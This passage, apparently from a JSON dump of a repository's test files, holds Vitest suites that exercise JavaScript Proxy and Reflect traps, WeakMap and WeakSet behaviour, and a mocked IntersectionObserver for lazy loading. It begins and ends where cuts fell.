Proxy(sum, {\n        apply(target, thisArg, args) {\n          logs.push(`Called with: ${args}`)\n          return target.apply(thisArg, args)\n        }\n      })\n\n      const result = loggedSum(1, 2)\n      expect(result).toBe(3)\n      expect(logs).toContain('Called with: 1,2')\n    })\n\n    // From lines 256-270: Construct trap for new operator\n    it('should intercept new operator with construct trap', () => {\n      class User {\n        constructor(name) {\n          this.name = name\n        }\n      }\n\n      const logs = []\n      const TrackedUser = new Proxy(User, {\n        construct(target, args) {\n          logs.push(`Creating user: ${args[0]}`)\n          return new target(...args)\n        }\n      })\n\n      const user = new TrackedUser('Alice')\n      expect(user.name).toBe('Alice')\n      expect(logs).toContain('Creating user: Alice')\n    })\n  })\n\n  // ============================================================\n  // THE OWNKEYS TRAP\n  // From proxy-reflect.mdx lines 280-295\n  // ============================================================\n\n  describe('The ownKeys Trap', () => {\n    // From lines 280-292: Filtering properties\n    it('should filter out private properties from Object.keys', () => {\n      const user = {\n        name: 'Alice',\n        age: 30,\n        _password: 'secret123'\n      }\n\n      const safeUser = new Proxy(user, {\n        ownKeys(target) {\n          return Object.keys(target).filter(key => !key.startsWith('_'))\n        }\n      })\n\n      expect(Object.keys(safeUser)).toEqual(['name', 'age'])\n      expect(Object.keys(safeUser)).not.toContain('_password')\n    })\n  })\n\n  // ============================================================\n  // WHY REFLECT EXISTS\n  // From proxy-reflect.mdx lines 300-350\n  // ============================================================\n\n  describe('Reflect', () => {\n    // From lines 300-320: Basic Reflect methods\n    it('should provide equivalent operations to object methods', () => {\n      const obj = { x: 1 }\n\n      // Reflect.get vs obj[prop]\n      expect(Reflect.get(obj, 'x')).toBe(1)\n      expect(Reflect.get(obj, 'x')).toBe(obj.x)\n\n      // Reflect.set vs obj[prop] = value\n      expect(Reflect.set(obj, 'y', 2)).toBe(true)\n      expect(obj.y).toBe(2)\n\n      // Reflect.has vs 'prop' in obj\n      expect(Reflect.has(obj, 'x')).toBe(true)\n      expect(Reflect.has(obj, 'z')).toBe(false)\n\n      // Reflect.deleteProperty vs delete obj[prop]\n      expect(Reflect.deleteProperty(obj, 'y')).toBe(true)\n      expect(obj.y).toBeUndefined()\n    })\n\n    // From lines 325-340: Receiver importance with getters\n    it('should properly forward receiver for getters', () => {\n      const user = {\n        _name: 'Alice',\n        get name() {\n          return this._name\n        }\n      }\n\n      const proxy = new Proxy(user, {\n        get(target, prop, receiver) {\n          return Reflect.get(target, prop, receiver)\n        }\n      })\n\n      expect(proxy.name).toBe('Alice')\n    })\n  })\n\n  // ============================================================\n  // PRACTICAL PATTERNS\n  // From proxy-reflect.mdx lines 355-430\n  // ============================================================\n\n  describe('Practical Patterns', () => {\n    // From lines 355-375: Observable objects\n    it('should create observable objects that notify on change', () => {\n      const changes = []\n\n      function observable(target, onChange) {\n        return new Proxy(target, {\n          set(target, prop, value, receiver) {\n            const oldValue = target[prop]\n            const result = Reflect.set(target, prop, value, receiver)\n            if (result && oldValue !== value) {\n              onChange(prop, oldValue, value)\n            }\n            return result\n          }\n        })\n      }\n\n      const state = observable({ count: 0 }, (prop, oldVal, newVal) => {\n        changes.push(`${prop} changed from ${oldVal} to ${newVal}`)\n      })\n\n      state.count = 1\n      state.count = 2\n\n      expect(changes).toContain('count changed from 0 to 1')\n      expect(changes).toContain('count changed from 1 to 2')\n    })\n\n    // From lines 380-410: Access control pattern\n    it('should implement access control for private properties', () => {\n      const privateHandler = {\n        get(target, prop) {\n          if (prop.startsWith('_')) {\n            throw new Error(`Access denied: ${prop} is private`)\n          }\n          return Reflect.get(...arguments)\n        },\n        set(target, prop, value) {\n          if (prop.startsWith('_')) {\n            throw new Error(`Access denied: ${prop} is private`)\n          }\n          return Reflect.set(...arguments)\n        },\n        ownKeys(target) {\n          return Object.keys(target).filter(key => !key.startsWith('_'))\n        }\n      }\n\n      const user = new Proxy({ name: 'Alice', _password: 'secret' }, privateHandler)\n\n      expect(user.name).toBe('Alice')\n      expect(Object.keys(user)).toEqual(['name'])\n\n      expect(() => {\n        user._password\n      }).toThrow('Access denied: _password is private')\n    })\n\n    // From lines 415-430: Logging/debugging pattern\n    it('should log all property access', () => {\n      const logs = []\n\n      function createLogged(target, name = 'Object') {\n        return new Proxy(target, {\n          get(target, prop, receiver) {\n            logs.push(`[${name}] GET ${String(prop)}`)\n            return Reflect.get(target, prop, receiver)\n          },\n          set(target, prop, value, receiver) {\n            logs.push(`[${name}] SET ${String(prop)} = ${value}`)\n            return Reflect.set(target, prop, value, receiver)\n          }\n        })\n      }\n\n      const user = createLogged({ name: 'Alice' }, 'User')\n      const name = user.name\n      user.age = 30\n\n      expect(logs).toContain('[User] GET name')\n      expect(logs).toContain('[User] SET age = 30')\n    })\n  })\n\n  // ============================================================\n  // REVOCABLE PROXIES\n  // From proxy-reflect.mdx lines 435-455\n  // ============================================================\n\n  describe('Revocable Proxies', () => {\n    // From lines 435-450: Proxy.revocable()\n    it('should create a proxy that can be disabled', () => {\n      const target = { secret: 'classified info' }\n      const { proxy, revoke } = Proxy.revocable(target, {})\n\n      expect(proxy.secret).toBe('classified info')\n\n      revoke()\n\n      expect(() => {\n        proxy.secret\n      }).toThrow(TypeError)\n    })\n  })\n\n  // ============================================================\n  // LIMITATIONS AND GOTCHAS\n  // From proxy-reflect.mdx lines 460-510\n  // ============================================================\n\n  describe('Limitations and Gotchas', () => {\n    // From lines 470-490: Built-in objects workaround\n    it('should work with Map using method binding workaround', () => {\n      const map = new Map()\n      const proxy = new Proxy(map, {\n        get(target, prop, receiver) {\n          const value = Reflect.get(target, prop, receiver)\n          return typeof value === 'function' ? value.bind(target) : value\n        }\n      })\n\n      proxy.set('key', 'value')\n      expect(proxy.get('key')).toBe('value')\n    })\n\n    // From lines 495-505: Proxy identity\n    it('should demonstrate that proxy is a different object from target', () => {\n      const target = {}\n      const proxy = new Proxy(target, {})\n\n      expect(proxy === target).toBe(false)\n\n      const set = new Set([target])\n      expect(set.has(proxy)).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // TEST YOUR KNOWLEDGE - Q&A SECTION TESTS\n  // From proxy-reflect.mdx lines 530-620\n  // ============================================================\n\n  describe('Test Your Knowledge', () => {\n    // Q1: set trap returning false\n    it('should demonstrate set trap returning false behavior', () => {\n      const proxy = new Proxy({}, {\n        set() {\n          return false\n        }\n      })\n\n      expect(() => {\n        proxy.x = 10\n      }).toThrow(TypeError)\n    })\n\n    // Q5: Revocable proxy\n    it('should demonstrate revocable proxy pattern', () => {\n      const { proxy, revoke } = Proxy.revocable({ data: 'sensitive' }, {})\n\n      expect(proxy.data).toBe('sensitive')\n\n      revoke()\n\n      expect(() => {\n        proxy.data\n      }).toThrow(TypeError)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/objects-properties/weakmap-weakset/weakmap-weakset.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('WeakMap & WeakSet', () => {\n  // ============================================================\n  // WEAKMAP BASICS\n  // From weakmap-weakset.mdx lines 95-125\n  // ============================================================\n  \n  describe('WeakMap Basics', () => {\n    // From lines 101-119: Basic WeakMap operations\n    it('should set and get values with object keys', () => {\n      const weakMap = new WeakMap()\n      \n      const obj1 = { id: 1 }\n      const obj2 = { id: 2 }\n      \n      weakMap.set(obj1, 'first')\n      weakMap.set(obj2, 'second')\n      \n      expect(weakMap.get(obj1)).toBe('first')\n      expect(weakMap.get(obj2)).toBe('second')\n    })\n    \n    // From lines 112-116: has() and get() methods\n    it('should check existence with has()', () => {\n      const weakMap = new WeakMap()\n      const obj1 = { id: 1 }\n      \n      weakMap.set(obj1, 'value')\n      \n      expect(weakMap.has(obj1)).toBe(true)\n      expect(weakMap.has({ id: 3 })).toBe(false) // Different object reference\n    })\n    \n    // From lines 117-119: delete() method\n    it('should delete entries', () => {\n      const weakMap = new WeakMap()\n      const obj1 = { id: 1 }\n      \n      weakMap.set(obj1, 'value')\n      expect(weakMap.has(obj1)).toBe(true)\n      \n      weakMap.delete(obj1)\n      expect(weakMap.has(obj1)).toBe(false)\n    })\n    \n    // From lines 121-136: Keys must be objects\n    it('should only accept objects as keys', () => {\n      const weakMap = new WeakMap()\n      \n      // These work - objects as keys\n      expect(() => weakMap.set({}, 'empty object')).not.toThrow()\n      expect(() => weakMap.set([], 'array')).not.toThrow()\n      expect(() => weakMap.set(function() {}, 'function')).not.toThrow()\n      expect(() => weakMap.set(new Date(), 'date')).not.toThrow()\n    })\n    \n    // From lines 131-136: Primitives throw TypeError\n    it('should throw TypeError for primitive keys', () => {\n      const weakMap = new WeakMap()\n      \n      expect(() => weakMap.set('string', 'value')).toThrow(TypeError)\n      expect(() => weakMap.set(123, 'value')).toThrow(TypeError)\n      expect(() => weakMap.set(true, 'value')).toThrow(TypeError)\n      expect(() => weakMap.set(null, 'value')).toThrow(TypeError)\n      expect(() => weakMap.set(undefined, 'value')).toThrow(TypeError)\n    })\n    \n    // From lines 147-156: Values can be anything\n    it('should accept any value type', () => {\n      const weakMap = new WeakMap()\n      const key = { id: 1 }\n      \n      weakMap.set(key, 'string value')\n      expect(weakMap.get(key)).toBe('string value')\n      \n      weakMap.set(key, 42)\n      expect(weakMap.get(key)).toBe(42)\n      \n      weakMap.set(key, null)\n      expect(weakMap.get(key)).toBe(null)\n      \n      weakMap.set(key, undefined)\n      expect(weakMap.get(key)).toBe(undefined)\n      \n      weakMap.set(key, { nested: 'object' })\n      expect(weakMap.get(key)).toEqual({ nested: 'object' })\n      \n      weakMap.set(key, [1, 2, 3])\n      expect(weakMap.get(key)).toEqual([1, 2, 3])\n    })\n    \n    // Test chaining on set()\n    it('should return the WeakMap for chaining', () => {\n      const weakMap = new WeakMap()\n      const obj1 = { a: 1 }\n      const obj2 = { b: 2 }\n      \n      const result = weakMap.set(obj1, 'value1')\n      expect(result).toBe(weakMap)\n      \n      // Chaining\n      weakMap.set(obj1, 'v1').set(obj2, 'v2')\n      expect(weakMap.get(obj1)).toBe('v1')\n      expect(weakMap.get(obj2)).toBe('v2')\n    })\n  })\n  \n  // ============================================================\n  // WEAKMAP USE CASES\n  // From weakmap-weakset.mdx lines 162-270\n  // ============================================================\n  \n  describe('WeakMap Use Cases', () => {\n    // From lines 164-207: Private data pattern\n    describe('Private Data Pattern', () => {\n      it('should store private data not accessible directly', () => {\n        const privateData = new WeakMap()\n        \n        class User {\n          constructor(name, password) {\n            this.name = name\n            privateData.set(this, {\n              password,\n              loginAttempts: 0\n            })\n          }\n          \n          checkPassword(input) {\n            const data = privateData.get(this)\n            \n            if (data.password === input) {\n              data.loginAttempts = 0\n              return true\n            }\n            \n            data.loginAttempts++\n            return false\n          }\n          \n          getLoginAttempts() {\n            return privateData.get(this).loginAttempts\n          }\n        }\n        \n        const user = new User('Alice', 'secret123')\n        \n        // Public data is accessible\n        expect(user.name).toBe('Alice')\n        \n        // Private data is NOT accessible\n        expect(user.password).toBe(undefined)\n        \n        // Methods can use private data\n        expect(user.checkPassword('wrong')).toBe(false)\n        expect(user.checkPassword('secret123')).toBe(true)\n        expect(user.getLoginAttempts()).toBe(0)\n      })\n      \n      it('should track login attempts', () => {\n        const privateData = new WeakMap()\n        \n        class User {\n          constructor(name, password) {\n            this.name = name\n            privateData.set(this, { password, loginAttempts: 0 })\n          }\n          \n          checkPassword(input) {\n            const data = privateData.get(this)\n            if (data.password === input) {\n              data.loginAttempts = 0\n              return true\n            }\n            data.loginAttempts++\n            return false\n          }\n          \n          getLoginAttempts() {\n            return privateData.get(this).loginAttempts\n          }\n        }\n        \n        const user = new User('Alice', 'secret')\n        \n        user.checkPassword('wrong1')\n        user.checkPassword('wrong2')\n        user.checkPassword('wrong3')\n        \n        expect(user.getLoginAttempts()).toBe(3)\n        \n        user.checkPassword('secret')\n        expect(user.getLoginAttempts()).toBe(0) // Reset on success\n      })\n    })\n    \n    // From lines 248-270: Object caching\n    describe('Object Caching', () => {\n      it('should cache computed results', () => {\n        const cache = new WeakMap()\n        let computeCount = 0\n        \n        function expensiveOperation(obj) {\n          if (cache.has(obj)) {\n            return cache.get(obj)\n          }\n          \n          computeCount++\n          const result = Object.keys(obj)\n            .map(key => `${key}: ${obj[key]}`)\n            .join(', ')\n          \n          cache.set(obj, result)\n          return result\n        }\n        \n        const user = { name: 'Alice', age: 30 }\n        \n        const result1 = expensiveOperation(user)\n        expect(result1).toBe('name: Alice, age: 30')\n        expect(computeCount).toBe(1)\n        \n        const result2 = expensiveOperation(user)\n        expect(result2).toBe('name: Alice, age: 30')\n        expect(computeCount).toBe(1) // Still 1, cache hit\n      })\n    })\n    \n    // From lines 272-298: Object-level memoization\n    describe('Object-Level Memoization', () => {\n      it('should memoize function results per object', () => {\n        function memoizeForObjects(fn) {\n          const cache = new WeakMap()\n          \n          return function(obj) {\n            if (cache.has(obj)) {\n              return cache.get(obj)\n            }\n            \n            const result = fn(obj)\n            cache.set(obj, result)\n            return result\n          }\n        }\n        \n        let callCount = 0\n        const getFullName = memoizeForObjects(user => {\n          callCount++\n          return `${user.firstName} ${user.lastName}`\n        })\n        \n        const person = { firstName: 'John', lastName: 'Doe' }\n        \n        expect(getFullName(person)).toBe('John Doe')\n        expect(callCount).toBe(1)\n        \n        expect(getFullName(person)).toBe('John Doe')\n        expect(callCount).toBe(1) // Cached\n        \n        // Different object - not cached\n        const person2 = { firstName: 'Jane', lastName: 'Smith' }\n        expect(getFullName(person2)).toBe('Jane Smith')\n        expect(callCount).toBe(2)\n      })\n    })\n  })\n  \n  // ============================================================\n  // WEAKSET BASICS\n  // From weakmap-weakset.mdx lines 304-338\n  // ============================================================\n  \n  describe('WeakSet Basics', () => {\n    // From lines 320-333: Basic WeakSet operations\n    it('should add and check objects', () => {\n      const weakSet = new WeakSet()\n      \n      const obj1 = { id: 1 }\n      const obj2 = { id: 2 }\n      \n      weakSet.add(obj1)\n      weakSet.add(obj2)\n      \n      expect(weakSet.has(obj1)).toBe(true)\n      expect(weakSet.has({ id: 1 })).toBe(false) // Different object\n    })\n    \n    // From lines 333-335: delete() method\n    it('should delete objects', () => {\n      const weakSet = new WeakSet()\n      const obj1 = { id: 1 }\n      \n      weakSet.add(obj1)\n      expect(weakSet.has(obj1)).toBe(true)\n      \n      weakSet.delete(obj1)\n      expect(weakSet.has(obj1)).toBe(false)\n    })\n    \n    // From lines 326-328: Only objects allowed\n    it('should only accept objects as values', () => {\n      const weakSet = new WeakSet()\n      \n      expect(() => weakSet.add({})).not.toThrow()\n      expect(() => weakSet.add([])).not.toThrow()\n      expect(() => weakSet.add(function() {})).not.toThrow()\n    })\n    \n    it('should throw TypeError for primitive values', () => {\n      const weakSet = new WeakSet()\n      \n      expect(() => weakSet.add('string')).toThrow(TypeError)\n      expect(() => weakSet.add(123)).toThrow(TypeError)\n      expect(() => weakSet.add(true)).toThrow(TypeError)\n      expect(() => weakSet.add(null)).toThrow(TypeError)\n      expect(() => weakSet.add(undefined)).toThrow(TypeError)\n    })\n    \n    // Test chaining on add()\n    it('should return the WeakSet for chaining', () => {\n      const weakSet = new WeakSet()\n      const obj1 = { a: 1 }\n      const obj2 = { b: 2 }\n      \n      const result = weakSet.add(obj1)\n      expect(result).toBe(weakSet)\n      \n      // Chaining\n      weakSet.add(obj1).add(obj2)\n      expect(weakSet.has(obj1)).toBe(true)\n      expect(weakSet.has(obj2)).toBe(true)\n    })\n  })\n  \n  // ============================================================\n  // WEAKSET USE CASES\n  // From weakmap-weakset.mdx lines 344-440\n  // ============================================================\n  \n  describe('WeakSet Use Cases', () => {\n    // From lines 346-366: Tracking processed objects\n    describe('Tracking Processed Objects', () => {\n      it('should prevent processing the same object twice', () => {\n        const processed = new WeakSet()\n        const processLog = []\n        \n        function processOnce(obj) {\n          if (processed.has(obj)) {\n            processLog.push('skipped')\n            return null\n          }\n          \n          processed.add(obj)\n          processLog.push('processed')\n          return { ...obj, processed: true }\n        }\n        \n        const user = { name: 'Alice' }\n        \n        processOnce(user)\n        processOnce(user)\n        processOnce(user)\n        \n        expect(processLog).toEqual(['processed', 'skipped', 'skipped'])\n      })\n    })\n    \n    // From lines 368-408: Circular reference detection\n    describe('Circular Reference Detection', () => {\n      it('should detect circular references when cloning', () => {\n        function deepClone(obj, seen = new WeakSet()) {\n          if (obj === null || typeof obj !== 'object') {\n            return obj\n          }\n          \n          if (seen.has(obj)) {\n            throw new Error('Circular reference detected!')\n          }\n          \n          seen.add(obj)\n          \n          if (Array.isArray(obj)) {\n            return obj.map(item => deepClone(item, seen))\n          }\n          \n          const clone = {}\n          for (const key in obj) {\n            if (obj.hasOwnProperty(key)) {\n              clone[key] = deepClone(obj[key], seen)\n            }\n          }\n          \n          return clone\n        }\n        \n        // Test with circular reference\n        const obj = { name: 'Alice' }\n        obj.self = obj\n        \n        expect(() => deepClone(obj)).toThrow('Circular reference detected!')\n        \n        // Normal objects work fine\n        const normal = { a: 1, b: { c: 2 } }\n        expect(deepClone(normal)).toEqual({ a: 1, b: { c: 2 } })\n      })\n    })\n    \n    // From lines 410-440: Marking visited objects (graph traversal)\n    describe('Graph Traversal', () => {\n      it('should traverse graph without infinite loop', () => {\n        function traverseGraph(node, visitor, visited = new WeakSet()) {\n          if (!node || visited.has(node)) {\n            return\n          }\n          \n          visited.add(node)\n          visitor(node)\n          \n          if (node.children) {\n            for (const child of node.children) {\n              traverseGraph(child, visitor, visited)\n            }\n          }\n        }\n        \n        // Graph with cycles\n        const nodeA = { value: 'A', children: [] }\n        const nodeB = { value: 'B', children: [] }\n        const nodeC = { value: 'C', children: [] }\n        \n        nodeA.children = [nodeB, nodeC]\n        nodeB.children = [nodeC, nodeA] // Cycle back to A\n        nodeC.children = [nodeA]         // Cycle back to A\n        \n        const visited = []\n        traverseGraph(nodeA, node => visited.push(node.value))\n        \n        // Each visited only once despite cycles\n        expect(visited).toEqual(['A', 'B', 'C'])\n      })\n    })\n    \n    // From lines 442-460: Brand checking\n    describe('Brand Checking', () => {\n      it('should verify object was created by specific constructor', () => {\n        const validUsers = new WeakSet()\n        \n        class User {\n          constructor(name) {\n            this.name = name\n            validUsers.add(this)\n          }\n          \n          static isValid(obj) {\n            return validUsers.has(obj)\n          }\n        }\n        \n        const realUser = new User('Alice')\n        const fakeUser = { name: 'Bob' }\n        \n        expect(User.isValid(realUser)).toBe(true)\n        expect(User.isValid(fakeUser)).toBe(false)\n      })\n    })\n  })\n  \n  // ============================================================\n  // NO ITERATION\n  // From weakmap-weakset.mdx lines 488-510\n  // ============================================================\n  \n  describe('No Iteration', () => {\n    it('should not have size property on WeakMap', () => {\n      const weakMap = new WeakMap()\n      weakMap.set({}, 'value')\n      \n      expect(weakMap.size).toBe(undefined)\n    })\n    \n    it('should not have size property on WeakSet', () => {\n      const weakSet = new WeakSet()\n      weakSet.add({})\n      \n      expect(weakSet.size).toBe(undefined)\n    })\n    \n    it('should not have iteration methods on WeakMap', () => {\n      const weakMap = new WeakMap()\n      \n      expect(weakMap.keys).toBe(undefined)\n      expect(weakMap.values).toBe(undefined)\n      expect(weakMap.entries).toBe(undefined)\n      expect(weakMap.forEach).toBe(undefined)\n    })\n    \n    it('should not have iteration methods on WeakSet', () => {\n      const weakSet = new WeakSet()\n      \n      expect(weakSet.keys).toBe(undefined)\n      expect(weakSet.values).toBe(undefined)\n      expect(weakSet.forEach).toBe(undefined)\n    })\n    \n    it('should not be iterable with for...of', () => {\n      const weakMap = new WeakMap()\n      weakMap.set({}, 'value')\n      \n      expect(() => {\n        for (const entry of weakMap) {\n          // Should not reach here\n        }\n      }).toThrow(TypeError)\n    })\n  })\n  \n  // ============================================================\n  // SYMBOL KEYS (ES2023+)\n  // From weakmap-weakset.mdx lines 536-558\n  // ============================================================\n  \n  describe('Symbol Keys (ES2023+)', () => {\n    it('should accept non-registered symbols as WeakMap keys', () => {\n      const weakMap = new WeakMap()\n      \n      const mySymbol = Symbol('myKey')\n      weakMap.set(mySymbol, 'value')\n      \n      expect(weakMap.get(mySymbol)).toBe('value')\n      expect(weakMap.has(mySymbol)).toBe(true)\n    })\n    \n    it('should reject registered symbols (Symbol.for) as WeakMap keys', () => {\n      const weakMap = new WeakMap()\n      \n      const registeredSymbol = Symbol.for('registered')\n      \n      expect(() => {\n        weakMap.set(registeredSymbol, 'value')\n      }).toThrow(TypeError)\n    })\n    \n    it('should accept non-registered symbols in WeakSet', () => {\n      const weakSet = new WeakSet()\n      \n      const mySymbol = Symbol('myKey')\n      weakSet.add(mySymbol)\n      \n      expect(weakSet.has(mySymbol)).toBe(true)\n    })\n    \n    it('should reject registered symbols in WeakSet', () => {\n      const weakSet = new WeakSet()\n      \n      const registeredSymbol = Symbol.for('registered')\n      \n      expect(() => {\n        weakSet.add(registeredSymbol)\n      }).toThrow(TypeError)\n    })\n  })\n  \n  // ============================================================\n  // COMMON MISTAKES\n  // From weakmap-weakset.mdx lines 572-614\n  // ============================================================\n  \n  describe('Common Mistakes', () => {\n    // From lines 582-590: Using primitives as keys\n    describe('Using Primitives as Keys', () => {\n      it('should throw for all primitive types', () => {\n        const weakMap = new WeakMap()\n        \n        expect(() => weakMap.set('key', 'value')).toThrow(TypeError)\n        expect(() => weakMap.set(123, 'value')).toThrow(TypeError)\n        expect(() => weakMap.set(Symbol.for('key'), 'value')).toThrow(TypeError)\n      })\n      \n      it('should work with objects and non-registered symbols', () => {\n        const weakMap = new WeakMap()\n        \n        expect(() => weakMap.set({ key: true }, 'value')).not.toThrow()\n        expect(() => weakMap.set(Symbol('key'), 'value')).not.toThrow()\n      })\n    })\n    \n    // Test undefined return for non-existent keys\n    it('should return undefined for non-existent keys', () => {\n      const weakMap = new WeakMap()\n      const obj = { id: 1 }\n      \n      expect(weakMap.get(obj)).toBe(undefined)\n      expect(weakMap.has(obj)).toBe(false)\n    })\n    \n    // Test delete returns correct boolean\n    it('should return correct boolean from delete', () => {\n      const weakMap = new WeakMap()\n      const obj = { id: 1 }\n      \n      // Delete non-existent\n      expect(weakMap.delete(obj)).toBe(false)\n      \n      // Delete existing\n      weakMap.set(obj, 'value')\n      expect(weakMap.delete(obj)).toBe(true)\n      \n      // Delete again (now non-existent)\n      expect(weakMap.delete(obj)).toBe(false)\n    })\n  })\n  \n  // ============================================================\n  // MAP VS WEAKMAP COMPARISON\n  // From weakmap-weakset.mdx lines 466-486\n  // ============================================================\n  \n  describe('Map vs WeakMap Comparison', () => {\n    it('Map should have size property, WeakMap should not', () => {\n      const map = new Map()\n      const weakMap = new WeakMap()\n      \n      const obj = {}\n      map.set(obj, 'value')\n      weakMap.set(obj, 'value')\n      \n      expect(map.size).toBe(1)\n      expect(weakMap.size).toBe(undefined)\n    })\n    \n    it('Map should accept primitives, WeakMap should not', () => {\n      const map = new Map()\n      const weakMap = new WeakMap()\n      \n      expect(() => map.set('string', 'value')).not.toThrow()\n      expect(() => weakMap.set('string', 'value')).toThrow(TypeError)\n    })\n    \n    it('Map should be iterable, WeakMap should not', () => {\n      const map = new Map()\n      const weakMap = new WeakMap()\n      \n      const obj = { id: 1 }\n      map.set(obj, 'value')\n      weakMap.set(obj, 'value')\n      \n      // Map is iterable\n      const entries = []\n      for (const [k, v] of map) {\n        entries.push([k, v])\n      }\n      expect(entries.length).toBe(1)\n      \n      // WeakMap is not iterable\n      expect(() => {\n        for (const entry of weakMap) {}\n      }).toThrow(TypeError)\n    })\n  })\n  \n  // ============================================================\n  // SET VS WEAKSET COMPARISON\n  // ============================================================\n  \n  describe('Set vs WeakSet Comparison', () => {\n    it('Set should have size property, WeakSet should not', () => {\n      const set = new Set()\n      const weakSet = new WeakSet()\n      \n      const obj = {}\n      set.add(obj)\n      weakSet.add(obj)\n      \n      expect(set.size).toBe(1)\n      expect(weakSet.size).toBe(undefined)\n    })\n    \n    it('Set should accept primitives, WeakSet should not', () => {\n      const set = new Set()\n      const weakSet = new WeakSet()\n      \n      expect(() => set.add('string')).not.toThrow()\n      expect(() => weakSet.add('string')).toThrow(TypeError)\n    })\n    \n    it('Set should be iterable, WeakSet should not', () => {\n      const set = new Set()\n      const weakSet = new WeakSet()\n      \n      const obj = { id: 1 }\n      set.add(obj)\n      weakSet.add(obj)\n      \n      // Set is iterable\n      const values = []\n      for (const v of set) {\n        values.push(v)\n      }\n      expect(values.length).toBe(1)\n      \n      // WeakSet is not iterable\n      expect(() => {\n        for (const v of weakSet) {}\n      }).toThrow(TypeError)\n    })\n  })\n  \n  // ============================================================\n  // EDGE CASES\n  // ============================================================\n  \n  describe('Edge Cases', () => {\n    it('should allow same object as key in multiple WeakMaps', () => {\n      const weakMap1 = new WeakMap()\n      const weakMap2 = new WeakMap()\n      const obj = { shared: true }\n      \n      weakMap1.set(obj, 'value1')\n      weakMap2.set(obj, 'value2')\n      \n      expect(weakMap1.get(obj)).toBe('value1')\n      expect(weakMap2.get(obj)).toBe('value2')\n    })\n    \n    it('should allow same object in multiple WeakSets', () => {\n      const weakSet1 = new WeakSet()\n      const weakSet2 = new WeakSet()\n      const obj = { shared: true }\n      \n      weakSet1.add(obj)\n      weakSet2.add(obj)\n      \n      expect(weakSet1.has(obj)).toBe(true)\n      expect(weakSet2.has(obj)).toBe(true)\n    })\n    \n    it('should distinguish similar-looking but different objects', () => {\n      const weakMap = new WeakMap()\n      \n      const obj1 = { x: 1 }\n      const obj2 = { x: 1 }\n      \n      weakMap.set(obj1, 'first')\n      weakMap.set(obj2, 'second')\n      \n      expect(weakMap.get(obj1)).toBe('first')\n      expect(weakMap.get(obj2)).toBe('second')\n    })\n    \n    it('should handle WeakMap with function keys', () => {\n      const weakMap = new WeakMap()\n      \n      const fn1 = function() { return 1 }\n      const fn2 = function() { return 1 }\n      \n      weakMap.set(fn1, 'function1')\n      weakMap.set(fn2, 'function2')\n      \n      expect(weakMap.get(fn1)).toBe('function1')\n      expect(weakMap.get(fn2)).toBe('function2')\n    })\n    \n    it('should handle WeakMap with array keys', () => {\n      const weakMap = new WeakMap()\n      \n      const arr1 = [1, 2, 3]\n      const arr2 = [1, 2, 3]\n      \n      weakMap.set(arr1, 'array1')\n      weakMap.set(arr2, 'array2')\n      \n      expect(weakMap.get(arr1)).toBe('array1')\n      expect(weakMap.get(arr2)).toBe('array2')\n    })\n    \n    it('should handle updating existing keys', () => {\n      const weakMap = new WeakMap()\n      const obj = { id: 1 }\n      \n      weakMap.set(obj, 'initial')\n      expect(weakMap.get(obj)).toBe('initial')\n      \n      weakMap.set(obj, 'updated')\n      expect(weakMap.get(obj)).toBe('updated')\n    })\n    \n    it('should handle adding same object to WeakSet multiple times', () => {\n      const weakSet = new WeakSet()\n      const obj = { id: 1 }\n      \n      weakSet.add(obj)\n      weakSet.add(obj)\n      weakSet.add(obj)\n      \n      // Still only one instance\n      expect(weakSet.has(obj)).toBe(true)\n      \n      weakSet.delete(obj)\n      expect(weakSet.has(obj)).toBe(false)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/observer-apis/intersection-observer/intersection-observer.dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\n\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n/**\n * DOM-specific tests for Intersection Observer concept page\n * Source: /docs/beyond/concepts/intersection-observer.mdx\n * \n * These tests use jsdom with a mocked IntersectionObserver\n */\n\nclass MockIntersectionObserver {\n  constructor(callback, options = {}) {\n    this.callback = callback\n    this.options = options\n    this.observedElements = []\n    MockIntersectionObserver.instances.push(this)\n  }\n\n  observe(element) {\n    this.observedElements.push(element)\n    this.callback([{\n      target: element,\n      isIntersecting: false,\n      intersectionRatio: 0,\n      boundingClientRect: element.getBoundingClientRect(),\n      intersectionRect: { top: 0, left: 0, width: 0, height: 0 },\n      rootBounds: null,\n      time: performance.now()\n    }], this)\n  }\n\n  unobserve(element) {\n    const index = this.observedElements.indexOf(element)\n    if (index > -1) {\n      this.observedElements.splice(index, 1)\n    }\n  }\n\n  disconnect() {\n    this.observedElements = []\n  }\n\n  takeRecords() {\n    return []\n  }\n\n  triggerIntersection(entries) {\n    this.callback(entries, this)\n  }\n\n  static instances = []\n  static clearInstances() {\n    this.instances = []\n  }\n}\n\ndescribe('Intersection Observer (DOM)', () => {\n  let originalIntersectionObserver\n\n  beforeEach(() => {\n    originalIntersectionObserver = global.IntersectionObserver\n    global.IntersectionObserver = MockIntersectionObserver\n    MockIntersectionObserver.clearInstances()\n    document.body.innerHTML = ''\n  })\n\n  afterEach(() => {\n    global.IntersectionObserver = originalIntersectionObserver\n    document.body.innerHTML = ''\n  })\n\n  describe('Basic Observer Creation', () => {\n    it('should create observer with callback and options', () => {\n      const callback = vi.fn()\n      const options = {\n        root: null,\n        rootMargin: '100px',\n        threshold: 0.5\n      }\n\n      const observer = new IntersectionObserver(callback, options)\n\n      expect(observer.options.rootMargin).toBe('100px')\n      expect(observer.options.threshold).toBe(0.5)\n    })\n\n    it('should observe multiple elements with single observer', () => {\n      const callback = vi.fn()\n      const observer = new IntersectionObserver(callback)\n\n      const el1 = document.createElement('div')\n      const el2 = document.createElement('div')\n      const el3 = document.createElement('div')\n\n      observer.observe(el1)\n      observer.observe(el2)\n      observer.observe(el3)\n\n      expect(observer.observedElements.length).toBe(3)\n    })\n  })\n\n  describe('Lazy Loading Implementation', () => {\n    it('should implement lazy loading pattern from MDX', () => {\n      const img = document.createElement('img')\n      img.dataset.src = 'real-image.jpg'\n      img.classList.add('lazy')\n      document.body.appendChild(img)\n\n      const loadedImages = []\n\n      const observer = new IntersectionObserver((entries, obs) => {\n        entries.forEach(entry => {\n          if (entry.isIntersecting) {\n            const imgEl = entry.target\n            imgEl.src = imgEl.dataset.src\n            imgEl.classList.remove('lazy')\n            imgEl.classList.add('loaded')\n            loadedImages.push(imgEl)\n            obs.unobserve(imgEl)\n          }\n        })\n      }, { rootMargin: '100px 0px', threshold: 0 })\n\n      